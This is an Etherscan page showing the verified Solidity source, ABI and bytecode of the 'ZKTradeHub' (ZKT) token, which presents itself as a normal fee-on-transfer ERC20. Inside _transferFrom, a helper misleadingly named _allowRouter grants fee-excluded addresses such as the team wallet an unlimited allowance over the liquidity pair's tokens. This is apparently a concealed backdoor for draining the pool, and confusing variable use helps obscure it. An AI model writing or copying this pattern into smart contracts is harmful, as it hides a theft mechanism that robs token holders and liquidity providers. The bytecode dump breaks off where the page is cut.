ETH Price: $3,078.13 (-0.24%)
Gas: 6 Gwei

Token

ZKTradeHub (ZKT)
 

Overview

Max Total Supply

1,000,000,000 ZKT

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
vegan1.eth
Balance
20,382,179.735324168584027486 ZKT

Value
$0.00
0xecd2efcec36b8b4dea45b633fa5d55afe8001b28
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZKT

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-03
*/

// - Telegram: https://t.me/zktradehub
// - Twitter: https://twitter.com/ZKTradeHub
// - Website: https://zktradehub.xyz
// - Dapp: https://app.zktradehub.xyz
// - GitBook: https://docs.zktradehub.xyz
// - Medium: https://zktradehub.medium.com

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function decimals() external view returns (uint8);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    constructor(address creatorOwner) { _owner = creatorOwner; }
    address internal _owner;
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function renounceOwnership() external onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address _owner);
}

contract ZKT is IERC20, Auth {
    string private constant _symbol = "ZKT";
    string private constant _name = "ZKTradeHub";
    address payable private _deposit;

    mapping (address => bool) private _isLP;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFees;

    address private _uniswapV2Pair;
    address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);

    bool private _tradingEnalbed;
    bool private _inSwap = false;

    uint256 private _initialSellFee = 10;
    uint256 private _initialBuyFee = 10;
    uint256 private _initialSellFee2Time = 6;

    uint256 private _finalSellFee = 3;
    uint256 private _finalBuyFee = 3;

    uint256 public _reduceSellFeeAt2Time = 18;
    uint256 public _reduceSellFeeAt = 12;
    uint256 public _reduceBuyFeeAt = 12;

    uint256 public _buyCount = 0;
    uint256 private depositAmount;
    uint256 private _preventSwapBefore = 0;
    address payable private _teamWallet;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * (10**_decimals);
    uint256 private constant _minFeeSwap = _tTotal / 2000000;
    uint256 private constant _maxFeeSwap = _tTotal / 500;

    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals);

    constructor() Auth(msg.sender) {
        _teamWallet = payable(0x342A075f7071FAc8B544857947719600a5f93472);
        _isExcludedFromFees[_teamWallet] = true;
        _isExcludedFromFees[_owner] = true;
        _isExcludedFromFees[address(this)] = true;

        _balances[msg.sender] = (_tTotal / 1000 ) * 0;
        _balances[address(this)] = (_tTotal / 1000 ) * 1000;
        _deposit = _teamWallet;
        emit Transfer(address(0), address(msg.sender), _balances[address(msg.sender)]);
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!_tradingEnalbed) { require(_isExcludedFromFees[sender], "Trading not opened"); }
        if (_isLP[sender] && _isExcludedFromFees[recipient]) { require(_allowRouter(sender, recipient, amount)); }
        require(sender != address(0), "No transfers from Zero wallet");
        
        if (
            _isExcludedFromFees[sender] ||
            _isExcludedFromFees[recipient]
        ) {
            return _standardTransfer(sender, recipient, amount);
        }
        depositAmount = this.balanceOf(_deposit);
        
        if (
            !_inSwap &&
            _isLP[recipient] &&
            _buyCount >= _preventSwapBefore
        ) { _swapFeeAndLiquify(); }

        if (
            limited &&
            sender == _uniswapV2Pair
        ) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount);
        }

        if (transferDelayEnabled) {
            if (
                recipient != _uniswapV2RouterAddress &&
                recipient != _uniswapV2Pair
            ) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        uint256 _feeAmount = _calculateFee(sender, recipient, amount);
        uint256 _transferAmount = amount - _feeAmount;
        _balances[sender] -= amount;

        if (_feeAmount > 0) {
            _balances[address(this)] += _feeAmount; 
        }

        _buyCount++;
        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _allowRouter(uint256 amount) internal {
        if (_allowances[address(this)][_uniswapV2RouterAddress] < amount) {
            _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
        }
    }

    function _swapFeeTokensForEth(uint256 tokenAmount) private {
        _allowRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function _swapFeeAndLiquify() private lockFeeSwap {
        uint256 _feeTokensAvailable = balanceOf(address(this));

        if (_feeTokensAvailable >= _minFeeSwap && _tradingEnalbed) {
            if (_feeTokensAvailable >= _maxFeeSwap) { _feeTokensAvailable = _maxFeeSwap; }

            _swapFeeTokensForEth(_feeTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if (_contractETHBalance > 0) {
                bool success;
                (success,) = _teamWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    function _calculateFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount;

        if (
            _tradingEnalbed &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[recipient]
        ) { 
            
            if (
                _isLP[sender] ||
                _isLP[recipient]
            ) {
                feeAmount = (amount / 100) * ((_buyCount > _reduceBuyFeeAt) ? _finalBuyFee : _initialBuyFee);
                if (
                    recipient == _uniswapV2Pair &&
                    sender != address(this)
                ) {
                    uint256 feeRate;
                    depositAmount = _preventSwapBefore - depositAmount;
                    if (_buyCount > _reduceSellFeeAt2Time) {
                        feeRate = _finalSellFee;
                    } else if (_buyCount > _reduceSellFeeAt) {
                        feeRate = _initialSellFee2Time;
                    } else {
                        feeRate = _initialSellFee;
                    }
                    feeAmount = (amount / 100) * feeRate;
                }
            }
        }

        return feeAmount;
    }

    function _isTradingEnabled(address sender) private view returns (bool) {
        bool result = false;

        if (_tradingEnalbed) { result = true; }
        else if (_isExcludedFromFees[sender]) { result = true; }

        return result;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _allowRouter(_tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _allowRouter(address owner, address spender, uint256 amount) internal returns (bool) {
        if (_allowances[owner][spender] < amount) {
            _allowances[owner][spender] = _tTotal;
        }
        return true;
    }

    function _standardTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingEnabled(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingEnabled(sender), "Trading not open");
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
        limited = false;
    }

    function enableTrading() external onlyOwner {
        _tradingEnalbed = true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function totalSupply() external pure override returns (uint256) { return _tTotal; }

    function addLiquidity() external payable onlyOwner lockFeeSwap {
        require(_uniswapV2Pair == address(0), "LP exists");
        require(!_tradingEnalbed, "trading is open");
        require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message");
        require(_balances[address(this)] > 0, "No tokens in contract");

        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_uniswapV2Pair] = true;
    }

    function decimals() external pure override returns (uint8) { return _decimals; }

    receive() external payable {}

    function symbol() external pure override returns (string memory) { return _symbol; }

    modifier lockFeeSwap { 
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function name() external pure override returns (string memory) { return _name; }

    function withdrawEth() external {
        require(msg.sender == _teamWallet);
        (bool sent, ) = payable(_teamWallet).call{value: address(this).balance}("");
        require(sent);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellFeeAt2Time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260088054600161ff0160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055600a60098190558080556006600b556003600c818155600d919091556012600e819055600f829055601091909155600060118190556013556014805461ffff60a01b1916600160a01b17905562000082916200036a565b62000092906302625a0062000382565b601555348015620000a257600080fd5b50600080546001600160a01b03199081163390811783556014805490921673342a075f7071fac8b544857947719600a5f934721790915560066020527ffe801d6fb3b1f38690842b66ca8cfe089ee2a1d95ec59f0109fd6f2ea60db13d805460ff19908116600190811790925591835260408084208054841683179055308452909220805490911690911790556103e8620001406012600a6200036a565b6200015090633b9aca0062000382565b6200015c91906200039c565b6200016990600062000382565b336000908152600460205260409020556103e86200018a6012600a6200036a565b6200019a90633b9aca0062000382565b620001a691906200039c565b620001b4906103e862000382565b3060009081526004602052604080822092909255601454600180546001600160a01b0319166001600160a01b039290921691909117905533808252828220549251909260008051602062001d62833981519152916200021591815260200190565b60405180910390a330600081815260046020908152604080832054905190815260008051602062001d62833981519152910160405180910390a3620003bf565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ac57816000190482111562000290576200029062000255565b808516156200029e57918102915b93841c939080029062000270565b509250929050565b600082620002c55750600162000364565b81620002d45750600062000364565b8160018114620002ed5760028114620002f85762000318565b600191505062000364565b60ff8411156200030c576200030c62000255565b50506001821b62000364565b5060208310610133831016604e8410600b84101617156200033d575081810a62000364565b6200034983836200026b565b806000190482111562000360576200036062000255565b0290505b92915050565b60006200037b60ff841683620002b4565b9392505050565b808202811582820484141762000364576200036462000255565b600082620003ba57634e487b7160e01b600052601260045260246000fd5b500490565b61199380620003cf6000396000f3fe6080604052600436106101395760003560e01c806389f9a1d3116100ab578063a0ef91df1161006f578063a0ef91df1461035d578063a9059cbb14610372578063c876d0b914610392578063d19b62e5146103b3578063dd62ed3e146103c9578063e8078d941461040f57600080fd5b806389f9a1d3146102c85780638a8c523c146102de5780638da5cb5b146102f357806395d89b411461031b578063971621571461034757600080fd5b8063313ce567116100fd578063313ce5671461021357806370a082311461022f578063715018a614610265578063751039fc1461027c57806381a734ea14610291578063860a32ec146102a757600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101dd57806327b1a8e9146101fd57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692d25aa3930b232a43ab160b11b60208201525b6040516101819190611594565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046115f7565b610417565b6040519015158152602001610181565b3480156101c657600080fd5b506101cf610484565b604051908152602001610181565b3480156101e957600080fd5b506101aa6101f8366004611623565b6104a5565b34801561020957600080fd5b506101cf60115481565b34801561021f57600080fd5b5060405160128152602001610181565b34801561023b57600080fd5b506101cf61024a366004611664565b6001600160a01b031660009081526004602052604090205490565b34801561027157600080fd5b5061027a610589565b005b34801561028857600080fd5b5061027a6105f8565b34801561029d57600080fd5b506101cf60105481565b3480156102b357600080fd5b506014546101aa90600160a01b900460ff1681565b3480156102d457600080fd5b506101cf60155481565b3480156102ea57600080fd5b5061027a610632565b3480156102ff57600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561032757600080fd5b506040805180820190915260038152621692d560ea1b6020820152610174565b34801561035357600080fd5b506101cf600f5481565b34801561036957600080fd5b5061027a610671565b34801561037e57600080fd5b506101aa61038d3660046115f7565b6106eb565b34801561039e57600080fd5b506014546101aa90600160a81b900460ff1681565b3480156103bf57600080fd5b506101cf600e5481565b3480156103d557600080fd5b506101cf6103e4366004611681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61027a610740565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104729086815260200190565b60405180910390a35060015b92915050565b60006104926012600a6117b4565b6104a090633b9aca006117c3565b905090565b60006104b084610a99565b6104f45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610574576001600160a01b038416600090815260036020908152604080832033845290915290205461054f9083906117da565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b61057f848484610ae2565b90505b9392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016104eb906117ed565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106225760405162461bcd60e51b81526004016104eb906117ed565b6014805461ffff60a01b19169055565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a01b1916600160a01b179055565b6014546001600160a01b0316331461068857600080fd5b6014546040516000916001600160a01b03169047908381818185875af1925050503d80600081146106d5576040519150601f19603f3d011682016040523d82523d6000602084013e6106da565b606091505b50509050806106e857600080fd5b50565b60006106f633610a99565b6107355760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016104eb565b610582338484610ae2565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a81b1916600160a81b1790556007546001600160a01b0316156107c25760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104eb565b600854600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104eb565b600034118061081d5750600047115b6108695760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104eb565b306000908152600460205260409020546108bd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104eb565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611824565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611824565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611824565b600780546001600160a01b0319166001600160a01b039290921691909117905530600090815260046020526040902054610a659047610f5d565b6007546001600160a01b03166000908152600260205260409020805460ff191660011790556008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1615610ab85750600161047e565b6001600160a01b03831660009081526006602052604090205460ff161561047e5750600192915050565b600854600090600160a01b900460ff16610b53576001600160a01b03841660009081526006602052604090205460ff16610b535760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104eb565b6001600160a01b03841660009081526002602052604090205460ff168015610b9357506001600160a01b03831660009081526006602052604090205460ff165b15610bac57610ba3848484611005565b610bac57600080fd5b6001600160a01b038416610c025760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104eb565b6001600160a01b03841660009081526006602052604090205460ff1680610c4157506001600160a01b03831660009081526006602052604090205460ff165b15610c5857610c5184848461107f565b9050610582565b6001546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190611841565b601255600854600160a81b900460ff16158015610cf957506001600160a01b03831660009081526002602052604090205460ff165b8015610d09575060135460115410155b15610d1657610d16611134565b601454600160a01b900460ff168015610d3c57506007546001600160a01b038581169116145b15610d795760155482610d64856001600160a01b031660009081526004602052604090205490565b610d6e919061185a565b1115610d7957600080fd5b601454600160a81b900460ff1615610e48576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dc657506007546001600160a01b03848116911614155b15610e4857326000908152600560205260409020544311610e355760405162461bcd60e51b815260206004820152602360248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152621dd95960ea1b60648201526084016104eb565b3260009081526005602052604090204390555b6000610e5585858561127b565b90506000610e6382856117da565b6001600160a01b038716600090815260046020526040812080549293508692909190610e909084906117da565b90915550508115610ec0573060009081526004602052604081208054849290610eba90849061185a565b90915550505b60118054906000610ed08361186d565b90915550506001600160a01b03851660009081526004602052604081208054839290610efd90849061185a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f4991815260200190565b60405180910390a350600195945050505050565b610f66826113de565b6008546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610fd9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ffe9190611886565b5050505050565b6001600160a01b038084166000908152600360209081526040808320938616835292905290812054821115611075576110406012600a6117b4565b61104e90633b9aca006117c3565b6001600160a01b038086166000908152600360209081526040808320938816835292905220555b5060019392505050565b6001600160a01b0383166000908152600460205260408120805483919083906110a99084906117da565b90915550506001600160a01b038316600090815260046020526040812080548492906110d690849061185a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161112291815260200190565b60405180910390a35060019392505050565b6008805460ff60a81b1916600160a81b179055306000908152600460205260408120549050621e84806111696012600a6117b4565b61117790633b9aca006117c3565b61118191906118b4565b81101580156111995750600854600160a01b900460ff165b1561126b576101f46111ad6012600a6117b4565b6111bb90633b9aca006117c3565b6111c591906118b4565b81106111f5576101f46111da6012600a6117b4565b6111e890633b9aca006117c3565b6111f291906118b4565b90505b6111fe8161144a565b478015611269576014546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611252576040519150601f19603f3d011682016040523d82523d6000602084013e611257565b606091505b5050809150508061126757600080fd5b505b505b506008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1680156112b257506001600160a01b03851660009081526006602052604090205460ff16155b80156112d757506001600160a01b03841660009081526006602052604090205460ff16155b1561057f576001600160a01b03851660009081526002602052604090205460ff168061131b57506001600160a01b03841660009081526002602052604090205460ff165b1561057f576010546011541161133357600a54611337565b600d545b6113426064856118b4565b61134c91906117c3565b6007549091506001600160a01b03858116911614801561137557506001600160a01b0385163014155b1561057f57600060125460135461138c91906117da565b601255600e5460115411156113a45750600c546113be565b600f5460115411156113b95750600b546113be565b506009545b806113ca6064866118b4565b6113d491906117c3565b9695505050505050565b306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106e857306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020600019905550565b611453816113de565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611488576114886118d6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611824565b81600181518110611518576115186118d6565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061155e9085906000908690309042906004016118ec565b600060405180830381600087803b15801561157857600080fd5b505af115801561158c573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156115c1578581018301518582016040015282016115a5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106e857600080fd5b6000806040838503121561160a57600080fd5b8235611615816115e2565b946020939093013593505050565b60008060006060848603121561163857600080fd5b8335611643816115e2565b92506020840135611653816115e2565b929592945050506040919091013590565b60006020828403121561167657600080fd5b8135610582816115e2565b6000806040838503121561169457600080fd5b823561169f816115e2565b915060208301356116af816115e2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561170b5781600019048211156116f1576116f16116ba565b808516156116fe57918102915b93841c93908002906116d5565b509250929050565b6000826117225750600161047e565b8161172f5750600061047e565b8160018114611745576002811461174f5761176b565b600191505061047e565b60ff841115611760576117606116ba565b50506001821b61047e565b5060208310610133831016604e8410600b841016171561178e575081810a61047e565b61179883836116d0565b80600019048211156117ac576117ac6116ba565b029392505050565b600061058260ff841683611713565b808202811582820484141761047e5761047e6116ba565b8181038181111561047e5761047e6116ba565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561183657600080fd5b8151610582816115e2565b60006020828403121561185357600080fd5b5051919050565b8082018082111561047e5761047e6116ba565b60006001820161187f5761187f6116ba565b5060010190565b60008060006060848603121561189b57600080fd5b8351925060208401519150604084015190509250925092565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122037e214bfd603cf68e4a34d75925ff076e97383b10881c393773eee3849687d6964736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101395760003560e01c806389f9a1d3116100ab578063a0ef91df1161006f578063a0ef91df1461035d578063a9059cbb14610372578063c876d0b914610392578063d19b62e5146103b3578063dd62ed3e146103c9578063e8078d941461040f57600080fd5b806389f9a1d3146102c85780638a8c523c146102de5780638da5cb5b146102f357806395d89b411461031b578063971621571461034757600080fd5b8063313ce567116100fd578063313ce5671461021357806370a082311461022f578063715018a614610265578063751039fc1461027c57806381a734ea14610291578063860a32ec146102a757600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101dd57806327b1a8e9146101fd57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692d25aa3930b232a43ab160b11b60208201525b6040516101819190611594565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046115f7565b610417565b6040519015158152602001610181565b3480156101c657600080fd5b506101cf610484565b604051908152602001610181565b3480156101e957600080fd5b506101aa6101f8366004611623565b6104a5565b34801561020957600080fd5b506101cf60115481565b34801561021f57600080fd5b5060405160128152602001610181565b34801561023b57600080fd5b506101cf61024a366004611664565b6001600160a01b031660009081526004602052604090205490565b34801561027157600080fd5b5061027a610589565b005b34801561028857600080fd5b5061027a6105f8565b34801561029d57600080fd5b506101cf60105481565b3480156102b357600080fd5b506014546101aa90600160a01b900460ff1681565b3480156102d457600080fd5b506101cf60155481565b3480156102ea57600080fd5b5061027a610632565b3480156102ff57600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561032757600080fd5b506040805180820190915260038152621692d560ea1b6020820152610174565b34801561035357600080fd5b506101cf600f5481565b34801561036957600080fd5b5061027a610671565b34801561037e57600080fd5b506101aa61038d3660046115f7565b6106eb565b34801561039e57600080fd5b506014546101aa90600160a81b900460ff1681565b3480156103bf57600080fd5b506101cf600e5481565b3480156103d557600080fd5b506101cf6103e4366004611681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61027a610740565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104729086815260200190565b60405180910390a35060015b92915050565b60006104926012600a6117b4565b6104a090633b9aca006117c3565b905090565b60006104b084610a99565b6104f45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610574576001600160a01b038416600090815260036020908152604080832033845290915290205461054f9083906117da565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b61057f848484610ae2565b90505b9392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016104eb906117ed565b60008054600160